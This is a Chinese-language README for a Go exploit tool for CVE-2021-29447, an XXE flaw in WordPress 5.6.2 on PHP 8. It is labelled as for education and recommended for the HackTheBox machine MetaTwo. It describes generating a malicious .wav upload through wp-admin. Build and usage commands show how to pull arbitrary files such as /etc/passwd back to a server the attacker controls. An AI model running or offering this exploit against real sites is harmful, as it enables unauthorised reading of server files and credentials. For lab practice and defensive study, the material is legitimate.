
仅用于教育目的。
此漏洞利用工具旨在方便地从运行 WordPress 5.6.2 和 PHP8 的服务器上获取任何文件。(参见 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5)
你只需要拥有基础的 wp-admin 访问权限以及上传媒体文件的能力。
该漏洞利用会生成一个 .wav 文件载荷,通过 wp-admin 上传。
然后它会利用漏洞利用的后端服务器,让你在控制台上即时获取文件。
完美适用场景:HackTheBox 的机器 - metatwo https://www.hackthebox.com/machines/metatwo

$ go build
$ chmod +x exploit_cve-2021-29447
$ ./exploit_cve-2021-29447 --help
Usage of ./exploit_cve-2021-29447:
-local-server-ip string
Use local server ip where a local server will be set
-local-server-port int
Use local server port to run local server on
-o string
Output file to save exploit's result
-target-path string
Use target path to point on file you want to get from target server
$ ./exploit_cve-2021-29447 -local-server-ip=<your ip address> -target-path=/etc/passwd